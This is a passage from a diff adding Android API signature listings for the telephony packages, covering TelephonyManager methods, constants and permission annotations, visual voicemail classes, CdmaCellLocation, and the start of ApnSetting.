+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public void clearSignalStrengthUpdateRequest(@NonNull android.telephony.SignalStrengthUpdateRequest);
+    method @Nullable public android.telephony.TelephonyManager createForPhoneAccountHandle(android.telecom.PhoneAccountHandle);
+    method public android.telephony.TelephonyManager createForSubscriptionId(int);
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public boolean doesSwitchMultiSimConfigTriggerReboot();
+    method public int getActiveModemCount();
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public java.util.List<android.telephony.CellInfo> getAllCellInfo();
+    method @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public int getCallComposerStatus();
+    method @Deprecated @RequiresPermission(value=android.Manifest.permission.READ_PHONE_STATE, conditional=true) public int getCallState();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public int getCallStateForSubscription();
+    method public int getCardIdForDefaultEuicc();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) @WorkerThread public android.os.PersistableBundle getCarrierConfig();
+    method public int getCarrierIdFromSimMccMnc();
+    method @Deprecated @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public android.telephony.CellLocation getCellLocation();
+    method public int getDataActivity();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public int getDataNetworkType();
+    method public int getDataState();
+    method @Deprecated @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public String getDeviceId();
+    method @Deprecated @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public String getDeviceId(int);
+    method @Nullable @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public String getDeviceSoftwareVersion();
+    method @NonNull @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public java.util.Map<java.lang.Integer,java.util.List<android.telephony.emergency.EmergencyNumber>> getEmergencyNumberList();
+    method @NonNull @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public java.util.Map<java.lang.Integer,java.util.List<android.telephony.emergency.EmergencyNumber>> getEmergencyNumberList(int);
+    method @NonNull @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public java.util.List<java.lang.String> getEquivalentHomePlmns();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public String[] getForbiddenPlmns();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public String getGroupIdLevel1();
+    method public String getIccAuthentication(int, int, String);
+    method @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public String getImei();
+    method @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public String getImei(int);
+    method @RequiresPermission(anyOf={android.Manifest.permission.READ_PHONE_STATE, android.Manifest.permission.READ_SMS, android.Manifest.permission.READ_PHONE_NUMBERS}) public String getLine1Number();
+    method @NonNull @RequiresPermission(android.Manifest.permission.READ_PRECISE_PHONE_STATE) public String getManualNetworkSelectionPlmn();
+    method @Nullable public String getManufacturerCode();
+    method @Nullable public String getManufacturerCode(int);
+    method public static long getMaximumCallComposerPictureSize();
+    method @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public String getMeid();
+    method @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public String getMeid(int);
+    method public String getMmsUAProfUrl();
+    method public String getMmsUserAgent();
+    method @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public String getNai();
+    method public String getNetworkCountryIso();
+    method @NonNull public String getNetworkCountryIso(int);
+    method public String getNetworkOperator();
+    method public String getNetworkOperatorName();
+    method @RequiresPermission(anyOf={"android.permission.READ_PRIVILEGED_PHONE_STATE", android.Manifest.permission.READ_PRECISE_PHONE_STATE}) public int getNetworkSelectionMode();
+    method @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public void getNetworkSlicingConfiguration(@NonNull java.util.concurrent.Executor, @NonNull android.os.OutcomeReceiver<android.telephony.data.NetworkSlicingConfig,android.telephony.TelephonyManager.NetworkSlicingException>);
+    method public String getNetworkSpecifier();
+    method @Deprecated @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public int getNetworkType();
+    method @Nullable @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public android.telecom.PhoneAccountHandle getPhoneAccountHandle();
+    method @Deprecated public int getPhoneCount();
+    method public int getPhoneType();
+    method @RequiresPermission(anyOf={"android.permission.READ_PRIVILEGED_PHONE_STATE", android.Manifest.permission.READ_PHONE_STATE}) public int getPreferredOpportunisticDataSubscription();
+    method @Nullable @RequiresPermission(allOf={android.Manifest.permission.READ_PHONE_STATE, android.Manifest.permission.ACCESS_COARSE_LOCATION}) public android.telephony.ServiceState getServiceState();
+    method @Nullable public android.telephony.SignalStrength getSignalStrength();
+    method public int getSimCarrierId();
+    method @Nullable public CharSequence getSimCarrierIdName();
+    method public String getSimCountryIso();
+    method public String getSimOperator();
+    method public String getSimOperatorName();
+    method @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public String getSimSerialNumber();
+    method public int getSimSpecificCarrierId();
+    method @Nullable public CharSequence getSimSpecificCarrierIdName();
+    method public int getSimState();
+    method public int getSimState(int);
+    method @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public String getSubscriberId();
+    method public int getSubscriptionId();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public int getSubscriptionId(@NonNull android.telecom.PhoneAccountHandle);
+    method public int getSupportedModemCount();
+    method @Nullable public String getTypeAllocationCode();
+    method @Nullable public String getTypeAllocationCode(int);
+    method @NonNull @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public java.util.List<android.telephony.UiccCardInfo> getUiccCardsInfo();
+    method @Nullable @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public String getVisualVoicemailPackageName();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public String getVoiceMailAlphaTag();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public String getVoiceMailNumber();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public int getVoiceNetworkType();
+    method @Nullable public android.net.Uri getVoicemailRingtoneUri(android.telecom.PhoneAccountHandle);
+    method public boolean hasCarrierPrivileges();
+    method public boolean hasIccCard();
+    method @Deprecated public boolean iccCloseLogicalChannel(int);
+    method @Deprecated public byte[] iccExchangeSimIO(int, int, int, int, int, String);
+    method @Deprecated public android.telephony.IccOpenLogicalChannelResponse iccOpenLogicalChannel(String);
+    method @Deprecated public android.telephony.IccOpenLogicalChannelResponse iccOpenLogicalChannel(String, int);
+    method @Deprecated public String iccTransmitApduBasicChannel(int, int, int, int, int, String);
+    method @Deprecated public String iccTransmitApduLogicalChannel(int, int, int, int, int, int, String);
+    method public boolean isConcurrentVoiceAndDataSupported();
+    method public boolean isDataCapable();
+    method @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_NETWORK_STATE, android.Manifest.permission.READ_PHONE_STATE, "android.permission.READ_PRIVILEGED_PHONE_STATE"}) public boolean isDataConnectionAllowed();
+    method @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_NETWORK_STATE, android.Manifest.permission.MODIFY_PHONE_STATE, android.Manifest.permission.READ_PHONE_STATE}) public boolean isDataEnabled();
+    method @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_NETWORK_STATE, android.Manifest.permission.READ_PHONE_STATE}) public boolean isDataEnabledForReason(int);
+    method @RequiresPermission(anyOf={android.Manifest.permission.ACCESS_NETWORK_STATE, android.Manifest.permission.READ_PHONE_STATE}) public boolean isDataRoamingEnabled();
+    method public boolean isEmergencyNumber(@NonNull String);
+    method public boolean isHearingAidCompatibilitySupported();
+    method @RequiresPermission(anyOf={android.Manifest.permission.READ_PRECISE_PHONE_STATE, "android.permission.READ_PRIVILEGED_PHONE_STATE"}) public boolean isManualNetworkSelectionAllowed();
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public boolean isModemEnabledForSlot(int);
+    method @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public int isMultiSimSupported();
+    method public boolean isNetworkRoaming();
+    method public boolean isRadioInterfaceCapabilitySupported(@NonNull String);
+    method public boolean isRttSupported();
+    method public boolean isSmsCapable();
+    method @Deprecated public boolean isTtyModeSupported();
+    method public boolean isVoiceCapable();
+    method public boolean isVoicemailVibrationEnabled(android.telecom.PhoneAccountHandle);
+    method public boolean isWorldPhone();
+    method @Deprecated public void listen(android.telephony.PhoneStateListener, int);
+    method public void registerTelephonyCallback(@NonNull java.util.concurrent.Executor, @NonNull android.telephony.TelephonyCallback);
+    method @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public void requestCellInfoUpdate(@NonNull java.util.concurrent.Executor, @NonNull android.telephony.TelephonyManager.CellInfoCallback);
+    method @RequiresPermission(allOf={android.Manifest.permission.MODIFY_PHONE_STATE, android.Manifest.permission.ACCESS_FINE_LOCATION}) public android.telephony.NetworkScan requestNetworkScan(android.telephony.NetworkScanRequest, java.util.concurrent.Executor, android.telephony.TelephonyScanManager.NetworkScanCallback);
+    method public void sendDialerSpecialCode(String);
+    method @Deprecated public String sendEnvelopeWithStatus(String);
+    method @RequiresPermission(android.Manifest.permission.CALL_PHONE) public void sendUssdRequest(String, android.telephony.TelephonyManager.UssdResponseCallback, android.os.Handler);
+    method public void sendVisualVoicemailSms(String, int, String, android.app.PendingIntent);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public void setCallComposerStatus(int);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public void setDataEnabled(boolean);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public void setDataEnabledForReason(int, boolean);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public int setForbiddenPlmns(@NonNull java.util.List<java.lang.String>);
+    method public boolean setLine1NumberForDisplay(String, String);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public void setNetworkSelectionModeAutomatic();
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public boolean setNetworkSelectionModeManual(String, boolean);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public boolean setNetworkSelectionModeManual(@NonNull String, boolean, int);
+    method public boolean setOperatorBrandOverride(String);
+    method public boolean setPreferredNetworkTypeToGlobal();
+    method public void setPreferredOpportunisticDataSubscription(int, boolean, @Nullable java.util.concurrent.Executor, @Nullable java.util.function.Consumer<java.lang.Integer>);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public void setSignalStrengthUpdateRequest(@NonNull android.telephony.SignalStrengthUpdateRequest);
+    method public void setVisualVoicemailSmsFilterSettings(android.telephony.VisualVoicemailSmsFilterSettings);
+    method public boolean setVoiceMailNumber(String, String);
+    method @Deprecated public void setVoicemailRingtoneUri(android.telecom.PhoneAccountHandle, android.net.Uri);
+    method @Deprecated public void setVoicemailVibrationEnabled(android.telecom.PhoneAccountHandle, boolean);
+    method @RequiresPermission(android.Manifest.permission.MODIFY_PHONE_STATE) public void switchMultiSimConfig(int);
+    method public void unregisterTelephonyCallback(@NonNull android.telephony.TelephonyCallback);
+    method public void updateAvailableNetworks(@NonNull java.util.List<android.telephony.AvailableNetworkInfo>, @Nullable java.util.concurrent.Executor, @Nullable java.util.function.Consumer<java.lang.Integer>);
+    method public void uploadCallComposerPicture(@NonNull java.nio.file.Path, @NonNull String, @NonNull java.util.concurrent.Executor, @NonNull android.os.OutcomeReceiver<android.os.ParcelUuid,android.telephony.TelephonyManager.CallComposerException>);
+    method public void uploadCallComposerPicture(@NonNull java.io.InputStream, @NonNull String, @NonNull java.util.concurrent.Executor, @NonNull android.os.OutcomeReceiver<android.os.ParcelUuid,android.telephony.TelephonyManager.CallComposerException>);
+    field public static final String ACTION_CARRIER_MESSAGING_CLIENT_SERVICE = "android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE";
+    field public static final String ACTION_CARRIER_SIGNAL_DEFAULT_NETWORK_AVAILABLE = "android.telephony.action.CARRIER_SIGNAL_DEFAULT_NETWORK_AVAILABLE";
+    field public static final String ACTION_CARRIER_SIGNAL_PCO_VALUE = "android.telephony.action.CARRIER_SIGNAL_PCO_VALUE";
+    field public static final String ACTION_CARRIER_SIGNAL_REDIRECTED = "android.telephony.action.CARRIER_SIGNAL_REDIRECTED";
+    field public static final String ACTION_CARRIER_SIGNAL_REQUEST_NETWORK_FAILED = "android.telephony.action.CARRIER_SIGNAL_REQUEST_NETWORK_FAILED";
+    field public static final String ACTION_CARRIER_SIGNAL_RESET = "android.telephony.action.CARRIER_SIGNAL_RESET";
+    field public static final String ACTION_CONFIGURE_VOICEMAIL = "android.telephony.action.CONFIGURE_VOICEMAIL";
+    field public static final String ACTION_MULTI_SIM_CONFIG_CHANGED = "android.telephony.action.MULTI_SIM_CONFIG_CHANGED";
+    field public static final String ACTION_NETWORK_COUNTRY_CHANGED = "android.telephony.action.NETWORK_COUNTRY_CHANGED";
+    field @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public static final String ACTION_PHONE_STATE_CHANGED = "android.intent.action.PHONE_STATE";
+    field public static final String ACTION_RESPOND_VIA_MESSAGE = "android.intent.action.RESPOND_VIA_MESSAGE";
+    field public static final String ACTION_SECRET_CODE = "android.telephony.action.SECRET_CODE";
+    field public static final String ACTION_SHOW_VOICEMAIL_NOTIFICATION = "android.telephony.action.SHOW_VOICEMAIL_NOTIFICATION";
+    field public static final String ACTION_SUBSCRIPTION_CARRIER_IDENTITY_CHANGED = "android.telephony.action.SUBSCRIPTION_CARRIER_IDENTITY_CHANGED";
+    field public static final String ACTION_SUBSCRIPTION_SPECIFIC_CARRIER_IDENTITY_CHANGED = "android.telephony.action.SUBSCRIPTION_SPECIFIC_CARRIER_IDENTITY_CHANGED";
+    field public static final int APPTYPE_CSIM = 4; // 0x4
+    field public static final int APPTYPE_ISIM = 5; // 0x5
+    field public static final int APPTYPE_RUIM = 3; // 0x3
+    field public static final int APPTYPE_SIM = 1; // 0x1
+    field public static final int APPTYPE_UNKNOWN = 0; // 0x0
+    field public static final int APPTYPE_USIM = 2; // 0x2
+    field public static final int AUTHTYPE_EAP_AKA = 129; // 0x81
+    field public static final int AUTHTYPE_EAP_SIM = 128; // 0x80
+    field public static final int CALL_COMPOSER_STATUS_OFF = 0; // 0x0
+    field public static final int CALL_COMPOSER_STATUS_ON = 1; // 0x1
+    field public static final int CALL_STATE_IDLE = 0; // 0x0
+    field public static final int CALL_STATE_OFFHOOK = 2; // 0x2
+    field public static final int CALL_STATE_RINGING = 1; // 0x1
+    field public static final String CAPABILITY_SLICING_CONFIG_SUPPORTED = "CAPABILITY_SLICING_CONFIG_SUPPORTED";
+    field public static final int CDMA_ROAMING_MODE_AFFILIATED = 1; // 0x1
+    field public static final int CDMA_ROAMING_MODE_ANY = 2; // 0x2
+    field public static final int CDMA_ROAMING_MODE_HOME = 0; // 0x0
+    field public static final int CDMA_ROAMING_MODE_RADIO_DEFAULT = -1; // 0xffffffff
+    field public static final int DATA_ACTIVITY_DORMANT = 4; // 0x4
+    field public static final int DATA_ACTIVITY_IN = 1; // 0x1
+    field public static final int DATA_ACTIVITY_INOUT = 3; // 0x3
+    field public static final int DATA_ACTIVITY_NONE = 0; // 0x0
+    field public static final int DATA_ACTIVITY_OUT = 2; // 0x2
+    field public static final int DATA_CONNECTED = 2; // 0x2
+    field public static final int DATA_CONNECTING = 1; // 0x1
+    field public static final int DATA_DISCONNECTED = 0; // 0x0
+    field public static final int DATA_DISCONNECTING = 4; // 0x4
+    field public static final int DATA_ENABLED_REASON_CARRIER = 2; // 0x2
+    field public static final int DATA_ENABLED_REASON_POLICY = 1; // 0x1
+    field public static final int DATA_ENABLED_REASON_THERMAL = 3; // 0x3
+    field public static final int DATA_ENABLED_REASON_USER = 0; // 0x0
+    field public static final int DATA_SUSPENDED = 3; // 0x3
+    field public static final int DATA_UNKNOWN = -1; // 0xffffffff
+    field public static final int ERI_FLASH = 2; // 0x2
+    field public static final int ERI_OFF = 1; // 0x1
+    field public static final int ERI_ON = 0; // 0x0
+    field public static final String EXTRA_ACTIVE_SIM_SUPPORTED_COUNT = "android.telephony.extra.ACTIVE_SIM_SUPPORTED_COUNT";
+    field public static final String EXTRA_APN_PROTOCOL = "android.telephony.extra.APN_PROTOCOL";
+    field public static final String EXTRA_APN_TYPE = "android.telephony.extra.APN_TYPE";
+    field public static final String EXTRA_CALL_VOICEMAIL_INTENT = "android.telephony.extra.CALL_VOICEMAIL_INTENT";
+    field public static final String EXTRA_CARRIER_ID = "android.telephony.extra.CARRIER_ID";
+    field public static final String EXTRA_CARRIER_NAME = "android.telephony.extra.CARRIER_NAME";
+    field public static final String EXTRA_DATA_FAIL_CAUSE = "android.telephony.extra.DATA_FAIL_CAUSE";
+    field public static final String EXTRA_DEFAULT_NETWORK_AVAILABLE = "android.telephony.extra.DEFAULT_NETWORK_AVAILABLE";
+    field public static final String EXTRA_HIDE_PUBLIC_SETTINGS = "android.telephony.extra.HIDE_PUBLIC_SETTINGS";
+    field @Deprecated public static final String EXTRA_INCOMING_NUMBER = "incoming_number";
+    field public static final String EXTRA_IS_REFRESH = "android.telephony.extra.IS_REFRESH";
+    field public static final String EXTRA_LAUNCH_VOICEMAIL_SETTINGS_INTENT = "android.telephony.extra.LAUNCH_VOICEMAIL_SETTINGS_INTENT";
+    field public static final String EXTRA_NETWORK_COUNTRY = "android.telephony.extra.NETWORK_COUNTRY";
+    field public static final String EXTRA_NOTIFICATION_COUNT = "android.telephony.extra.NOTIFICATION_COUNT";
+    field public static final String EXTRA_PCO_ID = "android.telephony.extra.PCO_ID";
+    field public static final String EXTRA_PCO_VALUE = "android.telephony.extra.PCO_VALUE";
+    field public static final String EXTRA_PHONE_ACCOUNT_HANDLE = "android.telephony.extra.PHONE_ACCOUNT_HANDLE";
+    field public static final String EXTRA_REDIRECTION_URL = "android.telephony.extra.REDIRECTION_URL";
+    field public static final String EXTRA_SPECIFIC_CARRIER_ID = "android.telephony.extra.SPECIFIC_CARRIER_ID";
+    field public static final String EXTRA_SPECIFIC_CARRIER_NAME = "android.telephony.extra.SPECIFIC_CARRIER_NAME";
+    field public static final String EXTRA_STATE = "state";
+    field public static final String EXTRA_STATE_IDLE;
+    field public static final String EXTRA_STATE_OFFHOOK;
+    field public static final String EXTRA_STATE_RINGING;
+    field public static final String EXTRA_SUBSCRIPTION_ID = "android.telephony.extra.SUBSCRIPTION_ID";
+    field public static final String EXTRA_VOICEMAIL_NUMBER = "android.telephony.extra.VOICEMAIL_NUMBER";
+    field public static final String METADATA_HIDE_VOICEMAIL_SETTINGS_MENU = "android.telephony.HIDE_VOICEMAIL_SETTINGS_MENU";
+    field public static final int MULTISIM_ALLOWED = 0; // 0x0
+    field public static final int MULTISIM_NOT_SUPPORTED_BY_CARRIER = 2; // 0x2
+    field public static final int MULTISIM_NOT_SUPPORTED_BY_HARDWARE = 1; // 0x1
+    field public static final int NETWORK_SELECTION_MODE_AUTO = 1; // 0x1
+    field public static final int NETWORK_SELECTION_MODE_MANUAL = 2; // 0x2
+    field public static final int NETWORK_SELECTION_MODE_UNKNOWN = 0; // 0x0
+    field public static final int NETWORK_TYPE_1xRTT = 7; // 0x7
+    field public static final int NETWORK_TYPE_CDMA = 4; // 0x4
+    field public static final int NETWORK_TYPE_EDGE = 2; // 0x2
+    field public static final int NETWORK_TYPE_EHRPD = 14; // 0xe
+    field public static final int NETWORK_TYPE_EVDO_0 = 5; // 0x5
+    field public static final int NETWORK_TYPE_EVDO_A = 6; // 0x6
+    field public static final int NETWORK_TYPE_EVDO_B = 12; // 0xc
+    field public static final int NETWORK_TYPE_GPRS = 1; // 0x1
+    field public static final int NETWORK_TYPE_GSM = 16; // 0x10
+    field public static final int NETWORK_TYPE_HSDPA = 8; // 0x8
+    field public static final int NETWORK_TYPE_HSPA = 10; // 0xa
+    field public static final int NETWORK_TYPE_HSPAP = 15; // 0xf
+    field public static final int NETWORK_TYPE_HSUPA = 9; // 0x9
+    field public static final int NETWORK_TYPE_IDEN = 11; // 0xb
+    field public static final int NETWORK_TYPE_IWLAN = 18; // 0x12
+    field public static final int NETWORK_TYPE_LTE = 13; // 0xd
+    field public static final int NETWORK_TYPE_NR = 20; // 0x14
+    field public static final int NETWORK_TYPE_TD_SCDMA = 17; // 0x11
+    field public static final int NETWORK_TYPE_UMTS = 3; // 0x3
+    field public static final int NETWORK_TYPE_UNKNOWN = 0; // 0x0
+    field public static final int PHONE_TYPE_CDMA = 2; // 0x2
+    field public static final int PHONE_TYPE_GSM = 1; // 0x1
+    field public static final int PHONE_TYPE_NONE = 0; // 0x0
+    field public static final int PHONE_TYPE_SIP = 3; // 0x3
+    field public static final int SET_OPPORTUNISTIC_SUB_INACTIVE_SUBSCRIPTION = 2; // 0x2
+    field public static final int SET_OPPORTUNISTIC_SUB_NO_OPPORTUNISTIC_SUB_AVAILABLE = 3; // 0x3
+    field public static final int SET_OPPORTUNISTIC_SUB_REMOTE_SERVICE_EXCEPTION = 4; // 0x4
+    field public static final int SET_OPPORTUNISTIC_SUB_SUCCESS = 0; // 0x0
+    field public static final int SET_OPPORTUNISTIC_SUB_VALIDATION_FAILED = 1; // 0x1
+    field public static final int SIM_STATE_ABSENT = 1; // 0x1
+    field public static final int SIM_STATE_CARD_IO_ERROR = 8; // 0x8
+    field public static final int SIM_STATE_CARD_RESTRICTED = 9; // 0x9
+    field public static final int SIM_STATE_NETWORK_LOCKED = 4; // 0x4
+    field public static final int SIM_STATE_NOT_READY = 6; // 0x6
+    field public static final int SIM_STATE_PERM_DISABLED = 7; // 0x7
+    field public static final int SIM_STATE_PIN_REQUIRED = 2; // 0x2
+    field public static final int SIM_STATE_PUK_REQUIRED = 3; // 0x3
+    field public static final int SIM_STATE_READY = 5; // 0x5
+    field public static final int SIM_STATE_UNKNOWN = 0; // 0x0
+    field public static final int UNINITIALIZED_CARD_ID = -2; // 0xfffffffe
+    field public static final int UNKNOWN_CARRIER_ID = -1; // 0xffffffff
+    field public static final int UNSUPPORTED_CARD_ID = -1; // 0xffffffff
+    field public static final int UPDATE_AVAILABLE_NETWORKS_ABORTED = 2; // 0x2
+    field public static final int UPDATE_AVAILABLE_NETWORKS_DISABLE_MODEM_FAIL = 5; // 0x5
+    field public static final int UPDATE_AVAILABLE_NETWORKS_ENABLE_MODEM_FAIL = 6; // 0x6
+    field public static final int UPDATE_AVAILABLE_NETWORKS_INVALID_ARGUMENTS = 3; // 0x3
+    field public static final int UPDATE_AVAILABLE_NETWORKS_MULTIPLE_NETWORKS_NOT_SUPPORTED = 7; // 0x7
+    field public static final int UPDATE_AVAILABLE_NETWORKS_NO_CARRIER_PRIVILEGE = 4; // 0x4
+    field public static final int UPDATE_AVAILABLE_NETWORKS_NO_OPPORTUNISTIC_SUB_AVAILABLE = 8; // 0x8
+    field public static final int UPDATE_AVAILABLE_NETWORKS_REMOTE_SERVICE_EXCEPTION = 9; // 0x9
+    field public static final int UPDATE_AVAILABLE_NETWORKS_SERVICE_IS_DISABLED = 10; // 0xa
+    field public static final int UPDATE_AVAILABLE_NETWORKS_SUCCESS = 0; // 0x0
+    field public static final int UPDATE_AVAILABLE_NETWORKS_UNKNOWN_FAILURE = 1; // 0x1
+    field public static final int USSD_ERROR_SERVICE_UNAVAIL = -2; // 0xfffffffe
+    field public static final int USSD_RETURN_FAILURE = -1; // 0xffffffff
+    field public static final String VVM_TYPE_CVVM = "vvm_type_cvvm";
+    field public static final String VVM_TYPE_OMTP = "vvm_type_omtp";
+  }
+
+  public static class TelephonyManager.CallComposerException extends java.lang.Exception {
+    ctor public TelephonyManager.CallComposerException(int, @Nullable java.io.IOException);
+    method public int getErrorCode();
+    method @Nullable public java.io.IOException getIOException();
+    field public static final int ERROR_AUTHENTICATION_FAILED = 3; // 0x3
+    field public static final int ERROR_FILE_TOO_LARGE = 2; // 0x2
+    field public static final int ERROR_INPUT_CLOSED = 4; // 0x4
+    field public static final int ERROR_IO_EXCEPTION = 5; // 0x5
+    field public static final int ERROR_NETWORK_UNAVAILABLE = 6; // 0x6
+    field public static final int ERROR_REMOTE_END_CLOSED = 1; // 0x1
+    field public static final int ERROR_UNKNOWN = 0; // 0x0
+  }
+
+  public abstract static class TelephonyManager.CellInfoCallback {
+    ctor public TelephonyManager.CellInfoCallback();
+    method public abstract void onCellInfo(@NonNull java.util.List<android.telephony.CellInfo>);
+    method public void onError(int, @Nullable Throwable);
+    field public static final int ERROR_MODEM_ERROR = 2; // 0x2
+    field public static final int ERROR_TIMEOUT = 1; // 0x1
+  }
+
+  public class TelephonyManager.ModemErrorException extends android.telephony.TelephonyManager.NetworkSlicingException {
+  }
+
+  public static class TelephonyManager.NetworkSlicingException extends java.lang.Exception {
+  }
+
+  public class TelephonyManager.TimeoutException extends android.telephony.TelephonyManager.NetworkSlicingException {
+  }
+
+  public abstract static class TelephonyManager.UssdResponseCallback {
+    ctor public TelephonyManager.UssdResponseCallback();
+    method public void onReceiveUssdResponse(android.telephony.TelephonyManager, String, CharSequence);
+    method public void onReceiveUssdResponseFailed(android.telephony.TelephonyManager, String, int);
+  }
+
+  public final class TelephonyScanManager {
+    ctor public TelephonyScanManager();
+  }
+
+  public abstract static class TelephonyScanManager.NetworkScanCallback {
+    ctor public TelephonyScanManager.NetworkScanCallback();
+    method public void onComplete();
+    method public void onError(int);
+    method public void onResults(java.util.List<android.telephony.CellInfo>);
+  }
+
+  public final class UiccCardInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getCardId();
+    method @Nullable public String getEid();
+    method @Nullable public String getIccId();
+    method public int getSlotIndex();
+    method public boolean isEuicc();
+    method public boolean isRemovable();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.UiccCardInfo> CREATOR;
+  }
+
+  public abstract class VisualVoicemailService extends android.app.Service {
+    ctor public VisualVoicemailService();
+    method public android.os.IBinder onBind(android.content.Intent);
+    method @MainThread public abstract void onCellServiceConnected(android.telephony.VisualVoicemailService.VisualVoicemailTask, android.telecom.PhoneAccountHandle);
+    method @MainThread public abstract void onSimRemoved(android.telephony.VisualVoicemailService.VisualVoicemailTask, android.telecom.PhoneAccountHandle);
+    method @MainThread public abstract void onSmsReceived(android.telephony.VisualVoicemailService.VisualVoicemailTask, android.telephony.VisualVoicemailSms);
+    method @MainThread public abstract void onStopped(android.telephony.VisualVoicemailService.VisualVoicemailTask);
+    field public static final String SERVICE_INTERFACE = "android.telephony.VisualVoicemailService";
+  }
+
+  public static class VisualVoicemailService.VisualVoicemailTask {
+    method public final void finish();
+  }
+
+  public final class VisualVoicemailSms implements android.os.Parcelable {
+    method public int describeContents();
+    method public android.os.Bundle getFields();
+    method public String getMessageBody();
+    method public android.telecom.PhoneAccountHandle getPhoneAccountHandle();
+    method public String getPrefix();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.VisualVoicemailSms> CREATOR;
+  }
+
+  public final class VisualVoicemailSmsFilterSettings implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.VisualVoicemailSmsFilterSettings> CREATOR;
+    field public static final int DESTINATION_PORT_ANY = -1; // 0xffffffff
+    field public static final int DESTINATION_PORT_DATA_SMS = -2; // 0xfffffffe
+    field public final String clientPrefix;
+    field public final int destinationPort;
+    field public final java.util.List<java.lang.String> originatingNumbers;
+  }
+
+  public static class VisualVoicemailSmsFilterSettings.Builder {
+    ctor public VisualVoicemailSmsFilterSettings.Builder();
+    method public android.telephony.VisualVoicemailSmsFilterSettings build();
+    method public android.telephony.VisualVoicemailSmsFilterSettings.Builder setClientPrefix(String);
+    method public android.telephony.VisualVoicemailSmsFilterSettings.Builder setDestinationPort(int);
+    method public android.telephony.VisualVoicemailSmsFilterSettings.Builder setOriginatingNumbers(java.util.List<java.lang.String>);
+  }
+
+}
+
+package android.telephony.cdma {
+
+  @Deprecated public class CdmaCellLocation extends android.telephony.CellLocation {
+    ctor @Deprecated public CdmaCellLocation();
+    ctor @Deprecated public CdmaCellLocation(android.os.Bundle);
+    method @Deprecated public static double convertQuartSecToDecDegrees(int);
+    method @Deprecated public void fillInNotifierBundle(android.os.Bundle);
+    method @Deprecated public int getBaseStationId();
+    method @Deprecated public int getBaseStationLatitude();
+    method @Deprecated public int getBaseStationLongitude();
+    method @Deprecated public int getNetworkId();
+    method @Deprecated public int getSystemId();
+    method @Deprecated public void setCellLocationData(int, int, int);
+    method @Deprecated public void setCellLocationData(int, int, int, int, int);
+    method @Deprecated public void setStateInvalid();
+  }
+
+}
+
+package android.telephony.data {
+
+  public class ApnSetting implements android.os.Parcelable {
+    method public int describeContents();
+    method public String getApnName();
+    method public int getApnTypeBitmask();
+    method public int getAuthType();
+    method public int getCarrierId();
+    method public String getEntryName();
+    method public int getId();
+    method @Deprecated public java.net.InetAddress getMmsProxyAddress();
+    method public String getMmsProxyAddressAsString();
+    method public int getMmsProxyPort();
+    method public android.net.Uri getMmsc();
+    method public int getMvnoType();
+    method public int getNetworkTypeBitmask();
+    method public String getOperatorNumeric();
+    method public String getPassword();
+    method public int getProtocol();
+    method @Deprecated public java.net.InetAddress getProxyAddress();
+    method public String getProxyAddressAsString();
+    method public int getProxyPort();
+    method public int getRoamingProtocol();
+    method public String getUser();
+    method public boolean isEnabled();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field public static final int AUTH_TYPE_CHAP = 2; // 0x2
